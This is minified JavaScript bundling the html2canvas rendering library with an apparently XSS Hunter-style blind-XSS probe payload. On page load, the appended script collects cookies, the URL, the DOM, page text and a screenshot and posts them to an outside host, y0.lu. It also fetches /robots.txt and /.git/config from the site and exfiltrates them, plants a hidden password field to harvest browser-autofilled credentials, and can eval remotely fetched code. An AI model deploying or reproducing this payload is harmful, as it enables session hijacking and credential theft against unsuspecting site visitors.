t},_.prototype.parseBackgroundImages=function(){return this.backgroundImages||(this.backgroundImages=C(this.css("backgroundImage")))},_.prototype.cssList=function(t,e){var n=(this.css(t)||"").split(",");return 1===(n=(n=n[e||0]||n[0]||"auto").trim().split(" ")).length&&(n=[n[0],n[0]]),n},_.prototype.parseBackgroundSize=function(t,e,n){var r,o,i=this.cssList("backgroundSize",n);if(k(i[0]))r=t.width*parseFloat(i[0])/100;else{if(/contain|cover/.test(i[0])){var s=t.width/t.height,a=e.width/e.height;return a>s^"contain"===i[0]?{width:t.height*a,height:t.height}:{width:t.width,height:t.width/a}}r=parseInt(i[0],10)}return o="auto"===i[0]&&"auto"===i[1]?e.height:"auto"===i[1]?r/e.width*e.height:k(i[1])?t.height*parseFloat(i[1])/100:parseInt(i[1],10),"auto"===i[0]&&(r=o/e.height*e.width),{width:r,height:o}},_.prototype.parseBackgroundPosition=function(t,e,n,r){var o,i,s=this.cssList("backgroundPosition",n);return o=k(s[0])?(t.width-(r||e).width)*(parseFloat(s[0])/100):parseInt(s[0],10),i="auto"===s[1]?o/e.width*e.height:k(s[1])?(t.height-(r||e).height)*parseFloat(s[1])/100:parseInt(s[1],10),"auto"===s[0]&&(o=i/e.height*e.width),{left:o,top:i}},_.prototype.parseBackgroundRepeat=function(t){return this.cssList("backgroundRepeat",t)[0]},_.prototype.parseTextShadows=function(){var t=this.css("textShadow"),e=[];if(t&&"none"!==t)for(var n=t.match(this.TEXT_SHADOW_PROPERTY),r=0;n&&r<n.length;r++){var o=n[r].match(this.TEXT_SHADOW_VALUES);e.push({color:o[0],offsetX:o[1]?o[1].replace("px",""):0,offsetY:o[2]?o[2].replace("px",""):0,blur:o[3]?o[3].replace("px",""):0})}return e},_.prototype.parseTransform=function(){if(!this.transformData){if(this.hasTransform()){var t=this.parseBounds(),e=this.prefixedCss("transformOrigin").split(" ").map(S).map(R);e[0]+=t.left,e[1]+=t.top,this.transformData={origin:e,matrix:this.parseTransformMatrix()}}else this.transformData={origin:[0,0],matrix:[1,0,0,1,0,0]}}return this.transformData},_.prototype.parseTransformMatrix=function(){if(!this.transformMatrix){var t=this.prefixedCss("transform"),e=t?T(t.match(this.MATRIX_PROPERTY)):null;this.transformMatrix=e||[1,0,0,1,0,0]}return this.transformMatrix},_.prototype.parseBounds=function(){return this.bounds||(this.bounds=this.hasTransform()?O(this.node):I(this.node))},_.prototype.hasTransform=function(){return"1,0,0,1,0,0"!==this.parseTransformMatrix().join(",")||this.parent&&this.parent.hasTransform()},_.prototype.getValue=function(){var t=this.node.value||"";return 0===(t="SELECT"===this.node.tagName?E(this.node):t).length?this.node.placeholder||"":t},_.prototype.MATRIX_PROPERTY=/(matrix)\((.+)\)/,_.prototype.TEXT_SHADOW_PROPERTY=/((rgba|rgb)\([^\)]+\)(\s-?\d+px){0,})/g,_.prototype.TEXT_SHADOW_VALUES=/(-?\d+px)|(#.+)|(rgb\(.+\))|(rgba\(.+\))/g,B.prototype.asyncRenderer=function(t,e,n){n=n||Date.now(),this.paint(t[this.renderIndex++]),t.length===this.renderIndex?e():n+20>Date.now()?this.asyncRenderer(t,e,n):setTimeout(to(function(){this.asyncRenderer(t,e)},this),0)},B.prototype.createPseudoHideStyles=function(t){var e=t.createElement("style");e.innerHTML="."+this.pseudoHideClass+':before { content: "" !important; display: none !important; }.'+this.pseudoHideClass+':after { content: "" !important; display: none !important; }',t.body.appendChild(e)},B.prototype.getPseudoElements=function(t){var e=[[t]];if(t.node.nodeType===Node.ELEMENT_NODE){var n=this.getPseudoElement(t,":before"),r=this.getPseudoElement(t,":after");n&&(t.node.insertBefore(n[0].node,t.node.firstChild),e.push(n)),r&&(t.node.appendChild(r[0].node),e.push(r)),(n||r)&&(t.node.className+=" "+this.pseudoHideClass)}return tc(e)},B.prototype.getPseudoElement=function(t,n){var r=t.computedStyle(n);if(!r||!r.content||"none"===r.content||"-moz-alt-content"===r.content||"none"===r.display)return null;for(var o=th(r.content),i="url"===o.substr(0,3),s=e.createElement(i?"img":"html2canvaspseudoelement"),a=new _(s,t),c=r.length-1;c>=0;c--){var h=A(r.item(c));s.style[h]=r[h]}if(s.className=this.pseudoHideClass,i)return s.src=C(o)[0].args[0],[a];var u=e.createTextNode(o);return s.appendChild(u),[a,new ty(u,a)]},B.prototype.getChildren=function(t){return tc([].filter.call(t.node.childNodes,q).map(function(e){var n=[e.nodeType===Node.TEXT_NODE?new ty(e,t):new _(e,t)].filter(ta);return e.nodeType===Node.ELEMENT_NODE&&n.length&&"TEXTAREA"!==e.tagName?n[0].isElementVisible()?n.concat(this.getChildren(n[0])):[]:n},this))},B.prototype.newStackingContext=function(t,e){var n=new tp(e,t.cssFloat("opacity"),t.node,t.parent);n.visible=t.visible,(e?n.getParentStack(this):n.parent.stack).contexts.push(n),t.stack=n},B.prototype.createStackingContexts=function(){this.nodes.forEach(function(t){tt(t)&&(this.isRootElement(t)||tr(t)||U(t)||this.isBodyWithTransparentRoot(t)||t.hasTransform())?this.newStackingContext(t,!0):tt(t)&&(Q(t)&&j(t)||K(t)||J(t))?this.newStackingContext(t,!1):t.assignStack(t.parent.stack)},this)},B.prototype.isBodyWithTransparentRoot=function(t){return"BODY"===t.node.nodeName&&this.renderer.isTransparent(t.parent.css("backgroundColor"))},B.prototype.isRootElement=function(t){return null===t.parent},B.prototype.sortStackingContexts=function(t){t.contexts.sort(tn),t.contexts.forEach(this.sortStackingContexts,this)},B.prototype.parseTextBounds=function(t){return function(e,n,r){if("none"!==t.parent.css("textDecoration").substr(0,4)||0!==e.trim().length){if(this.support.rangeBounds&&!t.parent.hasTransform()){var o=r.slice(0,n).join("").length;return this.getRangeBounds(t.node,o,e.length)}if(t.node&&"string"==typeof t.node.data){var i=t.node.splitText(e.length),s=this.getWrapperBounds(t.node,t.parent.hasTransform());return t.node=i,s}}else(!this.support.rangeBounds||t.parent.hasTransform())&&(t.node=t.node.splitText(e.length));return{}}},B.prototype.getWrapperBounds=function(t,e){var n=t.ownerDocument.createElement("html2canvaswrapper"),r=t.parentNode,o=t.cloneNode(!0);n.appendChild(t.cloneNode(!0)),r.replaceChild(n,t);var i=e?O(n):I(n);return r.replaceChild(o,n),i},B.prototype.getRangeBounds=function(t,e,n){var r=this.range||(this.range=t.ownerDocument.createRange());return r.setStart(t,e),r.setEnd(t,e+n),r.getBoundingClientRect()},B.prototype.parse=function(t){var e=t.contexts.filter(H),n=t.children.filter(tt),r=n.filter(Z(J)),o=r.filter(Z(Q)).filter(Z(V)),i=n.filter(Z(Q)).filter(J),s=r.filter(Z(Q)).filter(V),a=t.contexts.concat(r.filter(Q)).filter(j),c=t.children.filter(te).filter(X),h=t.contexts.filter(W);e.concat(o).concat(i).concat(s).concat(a).concat(c).concat(h).forEach(function(t){this.renderQueue.push(t),z(t)&&(this.parse(t),this.renderQueue.push(new L))},this)},B.prototype.paint=function(t){try{t instanceof L?this.renderer.ctx.restore():te(t)?this.paintText(t):this.paintNode(t)}catch(e){x(e)}},B.prototype.paintNode=function(t){z(t)&&(this.renderer.setOpacity(t.opacity),this.renderer.ctx.save(),t.hasTransform()&&this.renderer.setTransform(t.parseTransform()));var e=t.parseBounds(),n=this.parseBorders(t);switch(this.renderer.clip(n.clip,function(){this.renderer.renderBackground(t,e,n.borders.map(ts))},this),this.renderer.renderBorders(n.borders),t.node.nodeName){case"svg":var r=this.images.get(t.node);r?this.renderer.renderImage(t,e,n,r):x("Error loading <svg>",t.node);break;case"IMG":var o=this.images.get(t.node.src);o?this.renderer.renderImage(t,e,n,o):x("Error loading <img>",t.node.src);break;case"SELECT":case"INPUT":case"TEXTAREA":this.paintFormValue(t)}},B.prototype.paintFormValue=function(t){if(t.getValue().length>0){var e=t.node.ownerDocument,n=e.createElement("html2canvaswrapper");["lineHeight","textAlign","fontFamily","fontWeight","fontSize","color","paddingLeft","paddingTop","paddingRight","paddingBottom","width","height","borderLeftStyle","borderTopStyle","borderLeftWidth","borderTopWidth","boxSizing","whiteSpace","wordWrap"].forEach(function(e){try{n.style[e]=t.css(e)}catch(r){x("html2canvas: Parse: Exception caught in renderFormValue: "+r.message)}});var r=t.parseBounds();n.style.position="absolute",n.style.left=r.left+"px",n.style.top=r.top+"px",n.textContent=t.getValue(),e.body.appendChild(n),this.paintText(new ty(n.firstChild,t)),e.body.removeChild(n)}},B.prototype.paintText=function(t){t.applyTextTransform();var e=t.node.data.split(!this.options.letterRendering||Y(t)?/(\b| )/:""),n=t.parent.fontWeight(),r=t.parent.css("fontSize"),o=t.parent.css("fontFamily"),i=t.parent.parseTextShadows();this.renderer.font(t.parent.css("color"),t.parent.css("fontStyle"),t.parent.css("fontVariant"),n,r,o),i.length?this.renderer.fontShadow(i[0].color,i[0].offsetX,i[0].offsetY,i[0].blur):this.renderer.clearShadow(),e.map(this.parseTextBounds(t),this).forEach(function(n,i){n&&(this.renderer.text(e[i],n.left,n.bottom),this.renderTextDecoration(t.parent,n,this.fontMetrics.getMetrics(o,r)))},this)},B.prototype.renderTextDecoration=function(t,e,n){switch(t.css("textDecoration").split(" ")[0]){case"underline":this.renderer.rectangle(e.left,Math.round(e.top+n.baseline+n.lineWidth),e.width,1,t.css("color"));break;case"overline":this.renderer.rectangle(e.left,Math.round(e.top),e.width,1,t.css("color"));break;case"line-through":this.renderer.rectangle(e.left,Math.ceil(e.top+n.middle+n.lineWidth),e.width,1,t.css("color"))}},B.prototype.parseBorders=function(t){var e=t.bounds,n=G(t),r=["Top","Right","Bottom","Left"].map(function(e){return{width:t.cssInt("border"+e+"Width"),color:t.css("border"+e+"Color"),args:null}}),o=D(e,n,r);return{clip:this.parseBackgroundClip(t,o,r,n,e),borders:r.map(function(t,i){if(t.width>0){var s=e.left,a=e.top,c=e.width,h=e.height-r[2].width;switch(i){case 0:h=r[0].width,t.args=F({c1:[s,a],c2:[s+c,a],c3:[s+c-r[1].width,a+h],c4:[s+r[3].width,a+h]},n[0],n[1],o.topLeftOuter,o.topLeftInner,o.topRightOuter,o.topRightInner);break;case 1:s=e.left+e.width-r[1].width,c=r[1].width,t.args=F({c1:[s+c,a],c2:[s+c,a+h+r[2].width],c3:[s,a+h],c4:[s,a+r[0].width]},n[1],n[2],o.topRightOuter,o.topRightInner,o.bottomRightOuter,o.bottomRightInner);break;case 2:a=a+e.height-r[2].width,h=r[2].width,t.args=F({c1:[s+c,a+h],c2:[s,a+h],c3:[s+r[3].width,a],c4:[s+c-r[3].width,a]},n[2],n[3],o.bottomRightOuter,o.bottomRightInner,o.bottomLeftOuter,o.bottomLeftInner);break;case 3:c=r[3].width,t.args=F({c1:[s,a+h+r[2].width],c2:[s,a],c3:[s+c,a+r[0].width],c4:[s+c,a+h]},n[3],n[0],o.bottomLeftOuter,o.bottomLeftInner,o.topLeftOuter,o.topLeftInner)}}return t})}},B.prototype.parseBackgroundClip=function(t,e,n,r,o){var i=t.css("backgroundClip"),s=[];switch(i){case"content-box":case"padding-box":M(s,r[0],r[1],e.topLeftInner,e.topRightInner,o.left+n[3].width,o.top+n[0].width),M(s,r[1],r[2],e.topRightInner,e.bottomRightInner,o.left+o.width-n[1].width,o.top+n[0].width),M(s,r[2],r[3],e.bottomRightInner,e.bottomLeftInner,o.left+o.width-n[1].width,o.top+o.height-n[2].width),M(s,r[3],r[0],e.bottomLeftInner,e.topLeftInner,o.left+n[3].width,o.top+o.height-n[2].width);break;default:M(s,r[0],r[1],e.topLeftOuter,e.topRightOuter,o.left,o.top),M(s,r[1],r[2],e.topRightOuter,e.bottomRightOuter,o.left+o.width,o.top),M(s,r[2],r[3],e.bottomRightOuter,e.bottomLeftOuter,o.left+o.width,o.top+o.height),M(s,r[3],r[0],e.bottomLeftOuter,e.topLeftOuter,o.left,o.top+o.height)}return s},B.prototype.pseudoHideClass="___html2canvas___pseudoelement";var tS=0;tl.prototype.renderImage=function(t,e,n,r){var o=t.cssInt("paddingLeft"),i=t.cssInt("paddingTop"),s=t.cssInt("paddingRight"),a=t.cssInt("paddingBottom"),c=n.borders,h=e.width-(c[1].width+c[3].width+o+s),u=e.height-(c[0].width+c[2].width+i+a);this.drawImage(r,0,0,r.image.width||h,r.image.height||u,e.left+o+c[3].width,e.top+i+c[0].width,h,u)},tl.prototype.renderBackground=function(t,e,n){e.height>0&&e.width>0&&(this.renderBackgroundColor(t,e),this.renderBackgroundImage(t,e,n))},tl.prototype.renderBackgroundColor=function(t,e){var n=t.css("backgroundColor");this.isTransparent(n)||this.rectangle(e.left,e.top,e.width,e.height,t.css("backgroundColor"))},tl.prototype.renderBorders=function(t){t.forEach(this.renderBorder,this)},tl.prototype.renderBorder=function(t){this.isTransparent(t.color)||null===t.args||this.drawShape(t.args,t.color)},tl.prototype.renderBackgroundImage=function(t,e,n){t.parseBackgroundImages().reverse().forEach(function(r,o,i){switch(r.method){case"url":var s=this.images.get(r.args[0]);s?this.renderBackgroundRepeating(t,e,s,i.length-(o+1),n):x("Error loading background-image",r.args[0]);break;case"linear-gradient":case"gradient":var a=this.images.get(r.value);a?this.renderBackgroundGradient(a,e,n):x("Error loading background-image",r.args[0]);break;case"none":break;default:x("Unknown background-image type",r.args[0])}},this)},tl.prototype.renderBackgroundRepeating=function(t,e,n,r,o){var i=t.parseBackgroundSize(e,n.image,r),s=t.parseBackgroundPosition(e,n.image,r,i),a=t.parseBackgroundRepeat(r);switch(a){case"repeat-x":case"repeat no-repeat":this.backgroundRepeatShape(n,s,i,e,e.left+o[3],e.top+s.top+o[0],99999,n.image.height,o);break;case"repeat-y":case"no-repeat repeat":this.backgroundRepeatShape(n,s,i,e,e.left+s.left+o[3],e.top+o[0],n.image.width,99999,o);break;case"no-repeat":this.backgroundRepeatShape(n,s,i,e,e.left+s.left+o[3],e.top+s.top+o[0],n.image.width,n.image.height,o);break;default:this.renderBackgroundRepeat(n,s,i,{top:e.top,left:e.left},o[3],o[0])}},tl.prototype.isTransparent=function(t){return!t||"transparent"===t||"rgba(0, 0, 0, 0)"===t},tp.prototype=Object.create(_.prototype),tp.prototype.getParentStack=function(t){var e=this.parent?this.parent.stack:null;return e?e.ownStacking?e:e.getParentStack(t):t.stack},td.prototype.testRangeBounds=function(t){var e,n,r,o,i=!1;return t.createRange&&(e=t.createRange()).getBoundingClientRect&&((n=t.createElement("boundtest")).style.height="123px",n.style.display="block",t.body.appendChild(n),e.selectNode(n),123===(o=(r=e.getBoundingClientRect()).height)&&(i=!0),t.body.removeChild(n)),i},td.prototype.testCORS=function(){return void 0!==(new Image).crossOrigin},td.prototype.testSVG=function(){var t=new Image,n=e.createElement("canvas"),r=n.getContext("2d");t.src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'></svg>";try{r.drawImage(t,0,0),n.toDataURL()}catch(o){return!1}return!0},tf.prototype.hasFabric=function(){return html2canvas.fabric?Promise.resolve():Promise.reject(Error("html2canvas.svg.js is not loaded, cannot render svg"))},tf.prototype.inlineFormatting=function(t){return/^data:image\/svg\+xml;base64,/.test(t)?this.decode64(this.removeContentType(t)):this.removeContentType(t)},tf.prototype.removeContentType=function(t){return t.replace(/^data:image\/svg\+xml(;base64)?,/,"")},tf.prototype.isInline=function(t){return/^data:image\/svg\+xml/i.test(t)},tf.prototype.createCanvas=function(t){var e=this;return function(n,r){var o=new html2canvas.fabric.StaticCanvas("c");e.image=o.lowerCanvasEl,o.setWidth(r.width).setHeight(r.height).add(html2canvas.fabric.util.groupSVGElements(n,r)).renderAll(),t(o.lowerCanvasEl)}},tf.prototype.decode64=function(e){return"function"==typeof t.atob?t.atob(e):tg(e)},tm.prototype=Object.create(tf.prototype),ty.prototype=Object.create(_.prototype),ty.prototype.applyTextTransform=function(){this.node.data=this.transform(this.parent.css("textTransform"))},ty.prototype.transform=function(t){var e=this.node.data;switch(t){case"lowercase":return e.toLowerCase();case"capitalize":return e.replace(/(^|\s|:|-|\(|\))([a-z])/g,t$);case"uppercase":return e.toUpperCase();default:return e}},tv.prototype=Object.create(f.prototype),tw.prototype=Object.create(tl.prototype),tw.prototype.setFillStyle=function(t){return this.ctx.fillStyle=t,this.ctx},tw.prototype.rectangle=function(t,e,n,r,o){this.setFillStyle(o).fillRect(t,e,n,r)},tw.prototype.drawShape=function(t,e){this.shape(t),this.setFillStyle(e).fill()},tw.prototype.taints=function(t){if(null===t.tainted){this.taintCtx.drawImage(t.image,0,0);try{this.taintCtx.getImageData(0,0,1,1),t.tainted=!1}catch(n){this.taintCtx=e.createElement("canvas").getContext("2d"),t.tainted=!0}}return t.tainted},tw.prototype.drawImage=function(t,e,n,r,o,i,s,a,c){(!this.taints(t)||this.options.allowTaint)&&this.ctx.drawImage(t.image,e,n,r,o,i,s,a,c)},tw.prototype.clip=function(t,e,n){this.ctx.save(),this.shape(t).clip(),e.call(n),this.ctx.restore()},tw.prototype.shape=function(t){return this.ctx.beginPath(),t.forEach(function(t,e){this.ctx[0===e?"moveTo":t[0]+"To"].apply(this.ctx,t.slice(1))},this),this.ctx.closePath(),this.ctx},tw.prototype.font=function(t,e,n,r,o,i){this.setFillStyle(t).font=[e,n,r,o,i].join(" ")},tw.prototype.fontShadow=function(t,e,n,r){this.setVariable("shadowColor",t).setVariable("shadowOffsetY",e).setVariable("shadowOffsetX",n).setVariable("shadowBlur",r)},tw.prototype.clearShadow=function(){this.setVariable("shadowColor","rgba(0,0,0,0)")},tw.prototype.setOpacity=function(t){this.ctx.globalAlpha=t},tw.prototype.setTransform=function(t){this.ctx.translate(t.origin[0],t.origin[1]),this.ctx.transform.apply(this.ctx,t.matrix),this.ctx.translate(-t.origin[0],-t.origin[1])},tw.prototype.setVariable=function(t,e){return this.variables[t]!==e&&(this.variables[t]=this.ctx[t]=e),this},tw.prototype.text=function(t,e,n){this.ctx.fillText(t,e,n)},tw.prototype.backgroundRepeatShape=function(t,e,n,r,o,i,s,a,c){var h=[["line",Math.round(o),Math.round(i)],["line",Math.round(o+s),Math.round(i)],["line",Math.round(o+s),Math.round(a+i)],["line",Math.round(o),Math.round(a+i)]];this.clip(h,function(){this.renderBackgroundRepeat(t,e,n,r,c[3],c[0])},this)},tw.prototype.renderBackgroundRepeat=function(t,e,n,r,o,i){var s=Math.round(r.left+e.left+o),a=Math.round(r.top+e.top+i);this.setFillStyle(this.ctx.createPattern(this.resizeImage(t,n),"repeat")),this.ctx.translate(s,a),this.ctx.fill(),this.ctx.translate(-s,-a)},tw.prototype.renderBackgroundGradient=function(t,e){if(t instanceof w){var n=this.ctx.createLinearGradient(e.left+e.width*t.x0,e.top+e.height*t.y0,e.left+e.width*t.x1,e.top+e.height*t.y1);t.colorStops.forEach(function(t){n.addColorStop(t.stop,t.color)}),this.rectangle(e.left,e.top,e.width,e.height,n)}},tw.prototype.resizeImage=function(t,n){var r=t.image;if(r.width===n.width&&r.height===n.height)return r;var o,i=e.createElement("canvas");return i.width=n.width,i.height=n.height,(o=i.getContext("2d")).drawImage(r,0,0,r.width,r.height,0,0,n.width,n.height),i}}(window,document);var chainload_uri="",collect_page_list=["/robots.txt","/.git/config"];function base64_to_blob(t,e){e=e||"";for(var n=1024,r=atob(t),o=r.length,i=Math.ceil(o/n),s=Array(i),a=0;a<i;++a){for(var c=a*n,h=Math.min(c+n,o),u=Array(h-c),l=c,p=0;l<h;++p,++l)u[p]=r[l].charCodeAt(0);s[a]=new Uint8Array(u)}return new Blob(s,{type:e})}function get_guid(){var t=function(){return((1+Math.random())*65536|0).toString(16).substring(1)};return t()+t()+"-"+t()+"-"+t()+"-"+t()+"-"+t()+t()+t()}function never_null(t){return void 0!==t?t:""}function collect_pages(t){for(var e=t["probe-uid"],n=0;n<collect_page_list.length;n++)"/"!=collect_page_list[n].charAt(0)&&(collect_page_list[n]="/"+collect_page_list[n]),collect_page_data(collect_page_list[n],e)}function eval_remote_source(uri){var xhr=new XMLHttpRequest;xhr.onreadystatechange=function(){xhr.readyState==XMLHttpRequest.DONE&&eval(xhr.responseText)},xhr.open("GET",uri,!0),xhr.send(null)}function addEvent(t,e,n){t.addEventListener?t.addEventListener(e,n,!1):t.attachEvent&&t.attachEvent("on"+e,n)}function get_dom_text(){for(var t=[document.body.outerText,document.body.innerText,document.body.textContent,],e=0;e<t.length;e++)if("string"==typeof t[e])return t[e];return""}function generate_random_string(t){for(var e=[],n="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",r=n.length,o=0;o<t;o++)e.push(n.charAt(Math.floor(Math.random()*r)));return e.join("")}function contact_mothership(t){var e=new FormData;Object.keys(t).map(function(n){if("screenshot"===n){var r=base64_to_blob(t[n].replace("data:image/png;base64,",""),"image/png");e.append(n,r,"screenshot.png");return}e.append(n,t[n])});var n=new XMLHttpRequest,r="https://y0.lu/js_callback.php";n.open("POST",r,!0),n.onreadystatechange=function(){4==n.readyState&&n.status},n.send(e)}function send_collected_page(t){var e=new FormData;Object.keys(t).map(function(n){e.append(n,t[n])});var n=new XMLHttpRequest,r="https://y0.lu/page_callback.php";n.open("POST",r,!0),n.onreadystatechange=function(){4==n.readyState&&n.status},n.send(e)}function collect_page_data(t,e){try{var n=location.protocol+"//"+document.domain+t,r=new XMLHttpRequest;r.onreadystatechange=function(){r.readyState==XMLHttpRequest.DONE&&(page_data={html:r.responseText,uri:n,xss_hit_id:e},send_collected_page(page_data))},r.open("GET",n,!0),r.send(null)}catch(o){}}function leak_password_autocomplete(){let t=document.createElement("input"),e=document.createElement("input");t.type="text",t.name="username",e.type="password",e.autocomplete="current-password",e.addEventListener("change",()=>{var n=new FormData;let r={username:t.value??"",password:e.value??"",xss_hit_id:probe_return_data["probe-uid"]};Object.keys(r).map(function(t){n.append(t,r[t])});var o=new XMLHttpRequest,i="https://y0.lu/password_callback.php";o.open("POST",i,!0),o.send(n)}),document.body.appendChild(t),document.body.appendChild(e)}probe_return_data={};try{probe_return_data.uri=never_null(location.toString())}catch(e){probe_return_data.uri=""}try{probe_return_data.cookies=never_null(document.cookie)}catch(e){probe_return_data.cookies=""}try{probe_return_data.referrer=never_null(document.referrer)}catch(e){probe_return_data.referrer=""}try{probe_return_data["user-agent"]=never_null(navigator.userAgent)}catch(e){probe_return_data["user-agent"]=""}try{probe_return_data["browser-time"]=never_null(new Date().getTime())}catch(e){probe_return_data["browser-time"]=""}try{probe_return_data["probe-uid"]=never_null(get_guid())}catch(e){probe_return_data["probe-uid"]=""}try{probe_return_data.origin=never_null(location.origin)}catch(e){probe_return_data.origin=""}try{probe_return_data.injection_key=void 0}catch(e){probe_return_data.injection_key=""}function hook_load_if_not_ready(){try{try{probe_return_data.dom=never_null(document.documentElement.outerHTML)}catch(t){probe_return_data.dom=""}html2canvas(document.body).then(function(t){probe_return_data.screenshot=t.toDataURL(),finishing_moves()})}catch(e){probe_return_data.screenshot="",finishing_moves()}}function finishing_moves(){contact_mothership(probe_return_data),leak_password_autocomplete(),collect_pages(probe_return_data),""!=chainload_uri&&null!=chainload_uri&&eval_remote_source(chainload_uri)}probe_return_data.title=document.title,probe_return_data.text=get_dom_text(),probe_return_data.was_iframe=window.top!==window,"complete"==document.readyState?hook_load_if_not_ready():addEvent(window,"load",function(){hook_load_if_not_ready()});
    